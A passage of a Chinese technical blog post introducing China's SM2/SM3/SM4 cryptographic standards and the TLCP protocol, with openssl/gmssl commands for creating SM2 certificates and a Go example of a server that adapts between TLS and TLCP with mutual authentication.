supportedOnlyTLS12, false}, {TLS_AES_128_GCM_SHA256, \u0026quot;TLS_AES_128_GCM_SHA256\u0026quot;, supportedOnlyTLS13, false}, {TLS_AES_256_GCM_SHA384, \u0026quot;TLS_AES_256_GCM_SHA384\u0026quot;, supportedOnlyTLS13, false}, {TLS_CHACHA20_POLY1305_SHA256, \u0026quot;TLS_CHACHA20_POLY1305_SHA256\u0026quot;, supportedOnlyTLS13, false}, {TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, \u0026quot;TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\u0026quot;, supportedUpToTLS12, false}, {TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, \u0026quot;TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\u0026quot;, supportedUpToTLS12, false}, {TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, \u0026quot;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\u0026quot;, supportedUpToTLS12, false}, {TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, \u0026quot;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\u0026quot;, supportedUpToTLS12, false}, {TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, \u0026quot;TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\u0026quot;, supportedOnlyTLS12, false}, {TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, \u0026quot;TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\u0026quot;, supportedOnlyTLS12, false}, {TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, \u0026quot;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\u0026quot;, supportedOnlyTLS12, false}, {TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, \u0026quot;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\u0026quot;, supportedOnlyTLS12, false}, {TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, \u0026quot;TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256\u0026quot;, supportedOnlyTLS12, false}, {TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, \u0026quot;TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256\u0026quot;, supportedOnlyTLS12, false}, } } 每个密码套件具有唯一标识值(value)，这些值在https://www.iana.org/assignments/tls-parameters/tls-parameters.xml中有标准参考。\n我们看到这些密码套件中的算法都是一些耳熟能详的国际标准密码算法，但并没有看到我们国家的国密的影子？我们国家的国密算法都有哪些？是否可以作为TLS握手过程使用的密码套件的一部分呢？如何基于国密算法实现一个安全传输层呢？我们接下来就正式进入国密算法(前面的铺垫有些长^_^)。\n四. 国家商用密码(国密)介绍 密码算法是最基础、最重要的密码技术。国家密码管理局近十年来，先后发布了祖冲之序列密码算法、SM2~SM9等商用密码系列（SM系列）算法，构成了包含序列密码算法、对称密码算法、非对称密码算法、密码杂凑算法和标识密码算法等在内的完整、自主国产密码算法体系。2019年10月26日，第十三届全国人民代表大会常务委员会第十四次会议表决通过了《中华人民共和国密码法》，并于2020年1月1日起施行。这些算法目前也已经成为ISO/IEC相关国际标准了(只是在国外的应用还极少)。\n国密是国家商用密码标准的简称。商用密码是指对不涉及国家秘密内容的信息进行加密保护或者安全认证。公民、法人和其他组织可以依法使用商用密码保护网络与信息安全。所有的国密相关标准都可以在这个站点查询到：http://www.gmbz.org.cn/main/bzlb.html。国密算法用SM(“商密”二字的拼音头字母组合)作为前缀标识，比如上面提到的SM2、SM3、SM4、SM9等等。\n我们较为熟悉的是像RSA、AES这样的国际标准常用密码算法。初次看到SM2、SM3等算法名字的童鞋可能会有点懵，这些算法是什么密码算法，用在哪里？SM系列密码算法有很多，我们不能一一说明，我们重点来看看与安全传输层建立与认证相关的算法：\nSM2：椭圆曲线公钥密码算法 SM2是用在公钥基础设施（PKI）领域的椭圆曲线公钥密码算法，与大名鼎鼎的RSA算法一样，是一种用于非对称加密的算法。该算法包括3部分：数字签名算法、密钥协商算法和加密/解密算法。该算法推荐使用素域为256比特的椭圆曲线。与RSA公钥密码算法相比，SM2椭圆曲线公钥密码算法具有安全性高、密钥短、速度快等优势。256比特的SM2椭圆曲线公钥密码算法密码强度已超过RSA-2048。SM2椭圆曲线公钥密码算法使用的密钥长度通常为192～256比特，而RSA公钥密码算法通常需要1024～2048比特。在同等安全强度下，SM2椭圆曲线公钥密码算法在用私钥签名时，速度远超RSA公钥密码算法。\nSM2椭圆曲线公钥密码算法广泛应用于电子政务、移动办公、电子商务、移动支付、电子证书等领域。在公钥基础设施（PKI）领域，基于SM2椭圆曲线公钥密码算法的数字证书应用最具有代表性。\nSM3：密码杂凑算法 SM3实质就是一种密码散列函数标准，再简单地说就是Hash函数。和我们熟悉的Hash散列算法SHA-1、SHA256等一样，SM3也主要用于数字签名及验证、消息认证码(MAC)生成及验证、随机数生成等领域。\nSM3密码杂凑算法消息分组长度为512比特，输出摘要长度为256比特。SM3密码杂凑算法在MD（Message Digest）结构的基础上，新增了16步全异或操作、消息双字介入、加速雪崩效应的P置换等多种设计技术，能够有效避免高概率的局部碰撞，有效抵抗强碰撞性的差分攻击、弱碰撞性的线性攻击和比特追踪攻击等密码攻击方法。SM3密码杂凑算法能够有效抵抗目前已知的攻击方法，具有较高的安全冗余，在安全级别上与SHA256相当。\nSM4：分组密码算法 SM4分组密码算法广泛应用于有对称加解密需求的应用系统和产品，与我们熟知的AES对称加密算法具有相同用途。\nSM4算法的分组长度为128比特，密钥长度为128比特，加密算法和密钥扩展算法都采用32轮非线性迭代结构，解密算法与加密算法相同，只是轮密钥的使用顺序相反，解密轮密钥是加密轮密钥的逆序。轮变换使用的模块包括异或运算、8比特输入8比特输出的S盒，以及一个32比特输入的线性置换。\n在密码指标性能方面，SM4分组密码算法的S盒设计已达到欧美分组密码标准算法的水平，具有较高的安全特性。线性置换的分支数达到了最优，可以抵抗差分攻击、线性攻击、代数攻击等。它具有算法速度快、实现效率高、安全性好等优点，主要用于保护数据的机密性。\n除了密码算法之外，国家密码管理局还颁布一系列周边标准，比如基于国密的SSL传输层安全协议，以下简称为国密SSL。\n最初的国密SSL是作为密码行业标准存在的，没有独立的协议标准定义，而是定义在SSL LPN产品的技术规范里，即《GM/T 0024-2014 SSL VPN技术规范》。\n后来，国密SSL从密码行业标准上升到了独立的国家标准，也就是《GB/T 38636-2020 信息安全技术 传输层密码协议(TLCP)》，新版标准基本兼容《GM/T 0024-2014 SSL VPN技术规范》，主要变化是增加了GCM的密码套件：ECC_SM4_GCM_SM3和ECDHE_SM4_GCM_SM3以及去掉了行标《GM/T 0024-2014》中的涉及SM1和RSA的密码套件。\n国密SSL是参考TLS 1.1制定的：\n但“遗憾”的是国密SSL与TLS协议并不兼容，这就意味着现有的各个编程语言实现的TLS实现在不经改造的前提下，是无法支持国密SSL握手过程的。\n此外，前面提到的TLS握手涉及到的证书都是RSA证书(前面证书内容中Public Key Algorithm: rsaEncryption)，即用RSA算法生成的公钥，用RSA算法的CA私钥签过名的证书。另一端在验证证书时，也要用RSA算法公钥(CA公钥)验证证书。如果我们要支持基于SM2算法的证书体系，需要CA、参与通信的两端都要支持SM2算法。而如今支持SM2的CA少之又少。并且，从前面我们看到的Go标准库TLS实现内置的密码套件列表来看，我们也没有看到SM2等国密算法实现的踪影。\n不得不说，这是当前支持国密的一个“尴尬”。\n那么我们要如何支持国密证书以及国密SSL呢？我们继续向下看。\n五. 基于国密证书的tls身份认证 1. 使用openssl生成国密证书并验证是否可以成功进行tls握手 openssl是加解密领域“风向标”，openssl在1.1.1版本中加入对SM系列算法的支持：\n大家可以通过下面命令查看你的openssl是否支持SM2椭圆曲线公钥密码算法：\n$openssl ecparam -list_curves | grep SM2 SM2 : SM2 curve over a 256 bit prime field 如果支持，我们就可以利用该算法制作国密证书了(openssl-sm2/certs下面)。\n使用SM2创建server端私钥\n$openssl ecparam -genkey -name SM2 -out server-sm2.key\n创建server csr\n$openssl req -new -out server-sm2.csr -key server-sm2.key You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter \u0026lsquo;.\u0026rsquo;, the field will be left blank. Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []:\nPlease enter the following \u0026rsquo;extra\u0026rsquo; attributes to be sent with your certificate request A challenge password []: An optional company name []:\n查看该csr：\n$openssl req -in server-sm2.csr -noout -text Certificate Request: Data: Version: 1 (0x0) Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd Subject Public Key Info: Public Key Algorithm: id-ecPublicKey Public-Key: (256 bit) pub: 04:5b:3f:7e:c7:36:43:9c:22:cf:68:34:73:7f:c2: 11:23:05:2d:e5:34:5f:29:30:11:c5:c4:f1:df:e2: 97:9d:5c:eb:6c:29:3e:d0:e3:a2:d4:6c:67:e4:4f: 42:90:70:a2:dc:db:a6:b4:fd:5d:53:b6:53:8e:fd: a8:37:aa:5e:4b ASN1 OID: SM2 Attributes: a0:00 Signature Algorithm: ecdsa-with-SHA256 30:45:02:21:00:be:4b:31:93:fb:6a:74:2f:0a:0d:8d:69:08: d1:ad:bf:b2:e8:02:c1:76:c5:50:01:f2:f9:c8:1e:6f:1f:4f: 9b:02:20:2c:43:16:5f:a4:4b:fb:2d:26:13:04:e0:ef:27:d1: 84:69:41:71:9a:aa:e8:29:1d:98:f8:0c:df:be:52:c6:9d 可以看到：\nPublic Key Algorithm: id-ecPublicKey ASN1 OID: SM2 sm2算法是id-ecPublicKey算法的别名(alias)：\n$openssl list -public-key-algorithms ... ... Name: sm2 Alias for: id-ecPublicKey 使用mkcert创建的ca来签发证书 该ca是使用RSA算法创建的。我们用它签发sm2证书。\n$openssl x509 -req -in server-sm2.csr -CA ~/.local/share/mkcert/rootCA.pem -CAkey ~/.local/share/mkcert/rootCA-key.pem -CAcreateserial -out server-sm2-signed-by-rsa-ca.pem -days 5000 Signature ok subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd Getting CA Private Key 查看生成的server端证书：\n$openssl x509 -in server-sm2-signed-by-rsa-ca.pem -noout -text Certificate: Data: Version: 1 (0x0) Serial Number: 5c:9c:ac:2f:03:8e:4e:72:fd:41:8a:c5:eb:8e:d4:c0:fc:0f:8a:4b Signature Algorithm: sha256WithRSAEncryption Issuer: O = mkcert development CA, OU = tonybai@tonybai, CN = mkcert tonybai@tonybai Validity Not Before: Jul 11 06:23:28 2022 GMT Not After : Mar 19 06:23:28 2036 GMT Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd Subject Public Key Info: Public Key Algorithm: id-ecPublicKey Public-Key: (256 bit) pub: 04:5b:3f:7e:c7:36:43:9c:22:cf:68:34:73:7f:c2: 11:23:05:2d:e5:34:5f:29:30:11:c5:c4:f1:df:e2: 97:9d:5c:eb:6c:29:3e:d0:e3:a2:d4:6c:67:e4:4f: 42:90:70:a2:dc:db:a6:b4:fd:5d:53:b6:53:8e:fd: a8:37:aa:5e:4b ASN1 OID: SM2 Signature Algorithm: sha256WithRSAEncryption 2b:67:c0:12:41:ad:da:2a:2f:9f:89:81:f1:ef:4a:4b:6d:66: e8:93:62:e0:68:d4:5b:0e:8a:83:2b:4d:77:36:d1:8e:f2:d6: 92:b0:7f:db:12:78:49:ac:c4:80:2b:ca:c8:70:91:c3:2f:31: 8d:5d:97:27:60:77:95:e6:61:7c:62:c4:f5:0c:ce:90:43:7d: 0c:f6:4e:8d:62:f3:67:08:4b:7e:5e:ad:0b:11:13:13:30:ec: d2:fc:78:ae:77:ca:97:f1:eb:fd:a3:5d:0f:58:70:a0:b3:2a: 6e:91:eb:81:37:6f:54:a9:56:9b:11:3c:4e:63:0b:a2:d7:d6: 36:b4:7f:d2:90:c3:15:ab:9b:bf:86:98:bb:9a:1c:64:71:3b: 92:4c:aa:89:d1:8b:03:35:34:ad:64:66:83:bc:0d:5f:38:ba: a0:07:82:92:1b:44:ef:72:c2:36:eb:38:84:ac:a1:d3:44:17: a8:7b:d5:64:f6:55:05:5f:3a:3b:b5:eb:1a:66:51:33:7a:76: ce:e3:cc:82:04:f2:28:70:90:3a:57:a5:db:32:08:47:f1:4d: 81:33:87:dd:b6:dc:4f:4f:49:59:e2:ac:71:a4:2f:7e:08:14: b0:cd:96:2d:fb:3d:b8:f2:c5:db:de:b9:0c:fe:91:15:fb:b1: 2e:df:23:6f:3e:26:2c:66:db:5e:e2:f6:f3:1f:23:2c:5c:70: 1d:d1:2b:b2:6e:ae:87:c6:cd:53:44:23:b0:1d:8d:08:40:3c: 02:87:81:1d:65:04:2a:b8:c6:f5:59:28:6a:ea:22:95:d3:e2: 24:93:9e:6c:d6:d7:0a:25:5b:4e:4a:cf:43:4c:71:e2:1a:bf: 26:de:27:14:38:ea:69:9c:a9:bf:12:3a:5b:65:33:4e:83:87: 81:5e:85:2a:e3:62:c7:5d:0e:15:e7:35:06:35:45:69:db:0b: aa:c6:45:e4:74:93:aa:45:e8:6f:22:11:15:14:f1:5a:4e:0a: 34:e2:74:eb:44:32 使用openssl的s_server和s_client命令验证是否可以握手成功：\n$openssl s_server -tls1_2 -accept 14443 -key server-sm2.key -cert server-sm2-signed-by-rsa-ca.pem -debug -msg Using default temp DH parameters ACCEPT $openssl s_client -connect 127.0.0.1:14443 -debug -msg -tls1_2 结果s_server报如下错：\n... ... \u0026gt;\u0026gt;\u0026gt; TLS 1.2, Alert [length 0002], fatal handshake_failure 02 28 ERROR 139761999033664:error:1417A0C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2283: shutting down SSL CONNECTION CLOSED 可以看到openssl虽然可以生成sm2公钥证书，但在tls 1.2协议下无法成功实现tls握手。\n2. 使用gmssl进行tls握手 openssl不支持，但国内的大神基于openssl1.1.0建立了gmssl分支，这就是gmssl工程。该工程为openssl增加了对国密算法以及gm ssl协议的各种支持。接下来我们就来试试用gmssl是否可以实现基于sm2证书的tls握手成功。\ngmssl工程感觉还不够成熟，安装和运行过程有一些“坑”，这里简要说说。\n安装gmssl\n$wget -c https://github.com/guanzhi/GmSSL/archive/master.zip $unzip master.zip $cd master\n注意在执行其他config命令之前，先在Configure文件和test/build.info这个文件中, 把\nuse if $^O ne \u0026quot;VMS\u0026quot;, 'File::Glob' =\u0026gt; qw/glob/; 改成：\nuse if $^O ne \u0026quot;VMS\u0026quot;, 'File::Glob' =\u0026gt; qw/:glob/; 否则会报下面错误：\n\u0026quot;glob\u0026quot; is not exported by the File::Glob module Can't continue after import errors at ./Configure line 18. 接下来执行下面命令生成Makefile并构建：\n$./config $make 编译后的文件在apps/gmssl，我将其cp到项目根目录下。执行gmssl：\n$./gmssl ./gmssl: symbol lookup error: ./gmssl: undefined symbol: BIO_debug_callback, version OPENSSL_1_1_0d gmssl报错了！原因是加载器加载gmssl依赖的动态共享库时选择了系统openssl的相关库了：\n$ldd gmssl linux-vdso.so.1 (0x00007ffe9cc5b000) libssl.so.1.1 =\u0026gt; /lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007fa3ca550000) libcrypto.so.1.1 =\u0026gt; /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007fa3ca27a000) libpthread.so.0 =\u0026gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa3ca257000) libc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa3ca065000) libdl.so.2 =\u0026gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa3ca05f000) /lib64/ld-linux-x86-64.so.2 (0x00007fa3ca6ae000) 我们要在load时链接gmssl自己的库，需要修改一下LD_LIBRARY_PATH环境变量(这样做会导致openssl执行失败，建议不要放在全局环境变量配置中，可让其仅在某些窗口中生效)：\n$export LD_LIBRARY_PATH=/home/tonybai/.bin/gmssl/GmSSL-master:$LD_LIBRARY_PATH 除此之外，我们还需要做一个操作，那就是在/usr/local/ssl下放置一份openssl.cnf文件(可以从/usr/lib/ssl/openssl.cnf拷贝(openssl version -a，查看OPENSSLDIR))，否则gmssl在执行“gmssl s_server…”时会报如下错误：\nCan't open /usr/local/ssl/openssl.cnf for reading, No such file or directory 139679439200896:error:02001002:system library:fopen:No such file or directory:crypto/bio/bss_file.c:74:fopen('/usr/local/ssl/openssl.cnf','r') 139679439200896:error:2006D080:BIO routines:BIO_new_file:no such file:crypto/bio/bss_file.c:81: 这里gmssl版本如下：\n$gmssl version GmSSL 2.5.4 - OpenSSL 1.1.0d 19 Jun 2019 好了，下面我们就来使用gmssl试试我们制作的sm2证书是否可以顺利完成tls握手。\n// 服务端 $gmssl s_server -accept 14443 -key server-sm2.key -cert server-sm2-signed-by-rsa-ca.pem -debug -msg -tls1_2 // 客户端 $gmssl s_client -connect 127.0.0.1:14443 -debug -msg -tls1_2 -verifyCAfile /home/tonybai/.local/share/mkcert/rootCA.pem --- SSL handshake has read 1209 bytes and written 310 bytes Verification: OK --- New, TLSv1.2, Cipher is ECDHE-SM2-WITH-SMS4-GCM-SM3 Server public key is 256 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE No ALPN negotiated SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-SM2-WITH-SMS4-GCM-SM3 Session-ID: 53B8799C3A6F3752C634F764EB6B136BDFD39CEB0C2E28E7DD98D86F9FF4F333 Session-ID-ctx: Master-Key: 6A50D31E3AEDDDF3FC608277087FB0DAACCC791DB296142ED37DE28E0DDA56FF1BB64431B66A76C468129E00F696338D PSK identity: None PSK identity hint: None SRP username: None TLS session ticket lifetime hint: 7200 (seconds) TLS session ticket: 0000 - ee d3 08 4d 21 14 dc c8-40 8c d0 c4 31 f9 16 bc ...M!...@...1... 0010 - 85 f9 a2 8c f4 ba cf 90-4d 38 28 03 78 b0 4a 27 ........M8(.x.J' 0020 - 17 c4 22 df 48 ea 8c 00-5a 92 0f ba eb 8a 1a dc ..\u0026quot;.H...Z....... 0030 - b3 3d b4 15 ee df fc d0-66 59 5c c2 23 9e a4 4f .=......fY\\.#..O 0040 - e0 77 54 b1 18 af 73 b0-b4 6a a7 c7 c7 d3 a4 a4 .wT...s..j...... 0050 - 8f 49 ff c7 bc 47 b5 19-09 21 4c db 71 76 d9 a5 .I...G...!L.qv.. 0060 - 49 0b c9 5d 09 b2 da b9-cc ec 04 5a 90 27 07 5f I..].......Z.'._ 0070 - 2b f2 55 5c f4 69 01 32-90 f5 3a 19 b5 47 84 4c +.U\\.i.2..:..G.L 0080 - 1c 64 66 63 f3 01 ab fe-b1 70 f7 98 b5 cc 23 8e .dfc.....p....#. 0090 - aa f4 1d 8a 79 5e 79 b7-04 f6 69 ed 62 d9 c7 ae ....y^y...i.b... Start Time: 1657529930 Timeout : 7200 (sec) Verify return code: 0 (ok) Extended master secret: yes 从客户端的输出来看，在明确ca证书位置的情况下(使用-verifyCAfile)，可以正确验证server端发来的sm2证书(见“Verify return code: 0 (ok)”)。\n六. 使用Go实现tls/tlcp自适应双向认证 gmssl为我们展示了一条支持国密的路径，即基于已有的开源项目的实现进行改造。Go标准库并不支持国密，因此在Go社区借鉴标准库中crypto的中算法以及tls包的结构，实现了对sm系列算法以及国密ssl的支持，tjfoc/gmsm就是其中之一。\n注：gmssl也提供了Go API接口，底层通过cgo调用gmssl C代码实现。\ngmsm不仅提供了国密算法的相关实现，还实现了tls与tclp协议的自适应支持。在这一小节，我们就用gmsm来演示一个tls/tlcp自适应双向认证的例子。\n1. 准备SM2国密公钥证书 按照gmsm自适应tls/tlcp实现的要求，我们需要先准备一堆证书(tlcp与tls不同，其加密与签名是由两个证书分别完成的，而不仅仅是tls的一个证书)，包括：\nrsa: 基于rsa的CA证书、server证书和client证书 gm: 基于gm的CA证书、server签名(sign)和加密(enc)证书、client端验证(auth)证书。 考虑到mkcert不支持国密，这里我们切换到用gmssl来创建这些证书。我将创建证书的命令集中在两个shell脚本中：gen_rsa_cert.sh和gen_gm_cert.sh，前者用于创建基于RSA的各种证书，后者则是创建基于国密的各种证书。这两个脚本的源码如下：\ngen_rsa_cert.sh\n// gmssl-examples/gmsm-tls-and-tlcp/certs/gen_rsa_cert.sh\n#!/bin/bash\nRSA Certs CA gmssl genpkey -out ca-rsa-key.pem -algorithm RSA -pkeyopt rsa_keygen_bits:2048 gmssl req -x509 -new -nodes -key ca-rsa-key.pem -subj \u0026ldquo;/CN=myca.com\u0026rdquo; -days 5000 -out ca-rsa-cert.pem\nserver key and cert gmssl genpkey -out server-rsa-key.pem -algorithm RSA -pkeyopt rsa_keygen_bits:2048 gmssl req -new -key server-rsa-key.pem -subj \u0026ldquo;/CN=example.com\u0026rdquo; -out server-rsa.csr gmssl x509 -req -in server-rsa.csr -CA ca-rsa-cert.pem -CAkey ca-rsa-key.pem -CAcreateserial -out server-rsa-cert.pem -days 5000 -extfile ./server.cnf -extensions ext gmssl verify -CAfile ca-rsa-cert.pem server-rsa-cert.pem\nclient key and cert gmssl genpkey -out client-rsa-key.pem -algorithm RSA -pkeyopt rsa_keygen_bits:2048 gmssl req -new -key client-rsa-key.pem -subj \u0026ldquo;/CN=client1.com\u0026rdquo; -out client-rsa.csr gmssl x509 -req -in client-rsa.csr -CA ca-rsa-cert.pem -CAkey ca-rsa-key.pem -CAcreateserial -out client-rsa-cert.pem -days 5000 -extfile ./client.cnf -extensions ext gmssl verify -CAfile ca-rsa-cert.pem client-rsa-cert.pem\ngen_gm_cert.sh\n#!/bin/bash\nSM CA gmssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:sm2p256v1 -out ca-gm-key.pem gmssl req -x509 -new -nodes -key ca-gm-key.pem -subj \u0026ldquo;/CN=myca.com\u0026rdquo; -days 5000 -out ca-gm-cert.pem\nserver: sign key and cert gmssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:sm2p256v1 -out server-gm-sign-key.pem gmssl req -new -key server-gm-sign-key.pem -subj \u0026ldquo;/CN=example.com\u0026rdquo; -out server-gm-sign.csr gmssl x509 -req -in server-gm-sign.csr -CA ca-gm-cert.pem -CAkey ca-gm-key.pem -CAcreateserial -out server-gm-sign-cert.pem -days 5000 -extfile ./server.cnf -extensions ext\ngmssl verify -CAfile ca-gm-cert.pem server-gm-sign-cert.pem\nserver: enc key and cer gmssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:sm2p256v1 -out server-gm-enc-key.pem gmssl req -new -key server-gm-enc-key.pem -subj \u0026ldquo;/CN=example.com\u0026rdquo; -out server-gm-enc.csr gmssl x509 -req -in server-gm-enc.csr -CA ca-gm-cert.pem -CAkey ca-gm-key.pem -CAcreateserial -out server-gm-enc-cert.pem -days 5000 -extfile ./server.cnf -extensions ext\ngmssl verify -CAfile ca-gm-cert.pem server-gm-enc-cert.pem\nclient: auth key and cert gmssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:sm2p256v1 -out client-gm-auth-key.pem gmssl req -new -key client-gm-auth-key.pem -subj \u0026ldquo;/CN=client1.com\u0026rdquo; -out client-gm-auth.csr gmssl x509 -req -in client-gm-auth.csr -CA ca-gm-cert.pem -CAkey ca-gm-key.pem -CAcreateserial -out client-gm-auth-cert.pem -days 5000 -extfile ./client.cnf -extensions ext\ngmssl verify -CAfile ca-gm-cert.pem client-gm-auth-cert.pem\n关于上面两个脚本，有几点说明一下：\n我们建立了两个CA，一个基于RSA，一个基于国密算法；这两个CA分别用于签发基于RSA的证书与基于国密的证书； 在生成证书中我们用到了x509证书的扩展属性subjectAltName、extendedKeyUsage和keyUsage。 如果不使用subjectAltName扩展属性，Go语言的x509校验会报如下错误(在Go 1.18及后续版本中，即便设置GODEBUG=x509ignoreCN=0也不行)：\ncertificate relies on legacy Common Name field, use SANs instead 同样Go也会对keyUsage做严格校验，如果是用来签名的证书中keyUsage不包含digitalSignature等，握手时也会报错：\ntls: the keyusage of cert[0] does not exist or is not for KeyUsageDigitalSignature server.cnf与client.cnf的内容如下：\n// server.cnf [req] prompt = no distinguished_name = dn req_extensions = ext input_password = [dn] CN = example.com emailAddress = webmaster@example.com O = hello Ltd L = Beijing C = CN [ext] subjectAltName = DNS:example.com extendedKeyUsage = clientAuth,serverAuth keyUsage = critical,digitalSignature,keyEncipherment // client.cnf [req] prompt = no distinguished_name = dn req_extensions = ext input_password = [dn] CN = client1.com emailAddress = webmaster@client1.com O = hello Ltd L = Beijing C = CN [ext] subjectAltName = DNS:client1.com extendedKeyUsage = clientAuth keyUsage = critical,digitalSignature,keyEncipherment 执行bash gen_rsa_cert.sh和bash gen_gm_cert.sh生成所有示例需要的证书：\n$ls *.pem|grep -v key ca-gm-cert.pem ca-rsa-cert.pem client-gm-auth-cert.pem client-rsa-cert.pem server-gm-enc-cert.pem server-gm-sign-cert.pem server-rsa-cert.pem 2. 支持tls与tlcp自适应的server 下面是支持tls与tlcp自适应的server的源码：\n// gmssl-examples/gmsm-tls-and-tlcp/server/server.go const ( rsaCertPath = \u0026quot;certs/server-rsa-cert.pem\u0026quot; rsaKeyPath = \u0026quot;certs/server-rsa-key.pem\u0026quot; sm2SignCertPath = \u0026quot;certs/server-gm-sign-cert.pem\u0026quot; sm2SignKeyPath = \u0026quot;certs/server-gm-sign-key.pem\u0026quot; sm2EncCertPath = \u0026quot;certs/server-gm-enc-cert.pem\u0026quot; sm2EncKeyPath = \u0026quot;certs/server-gm-enc-key.pem\u0026quot; ) func main() { pool := x509.NewCertPool() rsaCACertPath := \u0026quot;./certs/ca-rsa-cert.pem\u0026quot; rsaCACrt, err := ioutil.ReadFile(rsaCACertPath) if err != nil { fmt.Println(\u0026quot;read rsa ca err:\u0026quot;, err) return } gmCACertPath := \u0026quot;./certs/ca-gm-cert.pem\u0026quot; gmCACrt, err := ioutil.ReadFile(gmCACertPath) if err != nil { fmt.Println(\u0026quot;read gm ca err:\u0026quot;, err) return } pool.AppendCertsFromPEM(rsaCACrt) pool.AppendCertsFromPEM(gmCACrt) rsaKeypair, err := tls.LoadX509KeyPair(rsaCertPath, rsaKeyPath) if err != nil { fmt.Println(\u0026quot;load rsa x509 keypair error:\u0026quot;, err) return } sigCert, err := tls.LoadX509KeyPair(sm2SignCertPath, sm2SignKeyPath) if err != nil { fmt.Println(\u0026quot;load x509 gm sign keypair error:\u0026quot;, err) return } encCert, err := tls.LoadX509KeyPair(sm2EncCertPath, sm2EncKeyPath) if err != nil { fmt.Println(\u0026quot;load x509 gm enc keypair error:\u0026quot;, err) return } cfg, err := tls.NewBasicAutoSwitchConfig(\u0026amp;sigCert, \u0026amp;encCert, \u0026amp;rsaKeypair) if err != nil { fmt.Println(\u0026quot;load basic config error:\u0026quot;, err) return } cfg.MaxVersion = tls.VersionTLS12 cfg.ClientAuth = tls.RequireAndVerifyClientCert cfg.ClientCAs = pool listener, err := tls.Listen(\u0026quot;tcp\u0026quot;, \u0026quot;:18000\u0026quot;, cfg) if err != nil { fmt.Println(\u0026quot;listen error:\u0026quot;, err) return } for { conn, err := listener.Accept() if err != nil { fmt.Println(\u0026quot;accept error:\u0026quot;, err) return } fmt.Println(\u0026quot;accept connection:\u0026quot;, conn.RemoteAddr()) go func() { for { // echo \u0026quot;request\u0026quot; var b = make([]byte, 16) _, err := conn.Read(b) if err != nil { fmt.Println(\u0026quot;connection read error:\u0026quot;, err) conn.Close() return } fmt.Println(string(b)) _, err = conn.Write(b) if err != nil { fmt.Println(\u0026quot;connection write error:\u0026quot;, err) return } } }() } } 说明一下：\n这里的tls包是并非标准库crypto/tls包，而是github.com/tjfoc/gmsm/gmtls。 由于要自适应tls/tlcp，我们加载了两个CA证书，一个是基于RSA创建的CA证书，一个是基于gm创建的CA证书，用于分别对tls协议和tlcp协议的客户端身份进行验证； 服务端加载了用于tls连接的RSA的server证书：rsaCertPath，同时也加载了用于tlcp连接的server端双证书：sm2SignCertPath和sm2EncCertPath。 3. tls client 用于该示例的tls client与前面的echoclient十分类似，只不过加载的证书从mkcert生成的cert.pem改为certs/client-rsa-cert.pem，CA证书使用了我们刚刚生成的./certs/ca-rsa-cert.pem。\n其他部分没有变化。这里就不罗列源码了，大家可以自行阅读gmssl-examples/gmsm-tls-and-tlcp/tlsclient/client.go\n4. tlcp client 和tls client相比，我们只是将CA换为./certs/ca-gm-cert.pem，加载的client证书换成了certs/client-gm-auth-cert.pem，其他部分没有变化。这里也不罗列源码了，大家可以自行阅读gmssl-examples/gmsm-tls-and-tlcp/tlcpclient/client.go\n5. 验证tls/tlcp自适应双向认证 通过make命令可以一键构建出上述的server、tlsclient和tlcpclient。\n启动server：\n$./echoserver 启动tlsclient，验证tls双向认证：\n$./echo_tls_client connect ok hello, tls hello, tls ... ... 如果看到上面的tls client输出，说明tls连接建立和双向验证ok。\n我们再来启动tlcp client，验证tlcp双向认证：\n$./echo_tlcp_client connect ok reply: h reply: reply: e reply: llo, tlcp reply: h reply: reply: e reply: llo, tlcp reply: h reply: reply: e reply: llo, tlcp ... .. 我们看到虽然tlcp连接建立成功并成功完成双向认证，但是基于已建立的tlcp的读写操作似乎并不想tls client那样“工整”，对应着server那端的输出如下：\naccept connection: 127.0.0.1:58088 h ello, tlcp h ello, tlcp h ello, tlcp h ello, tlcp h ello, tlcp h ello, tlcp h ello, tlcp h ello, tlcp h ello, tlcp 虽然两段的数据都是完整的，没有丢失，但发送与接收的“效率”大幅下降，client端发出的一个“hello, 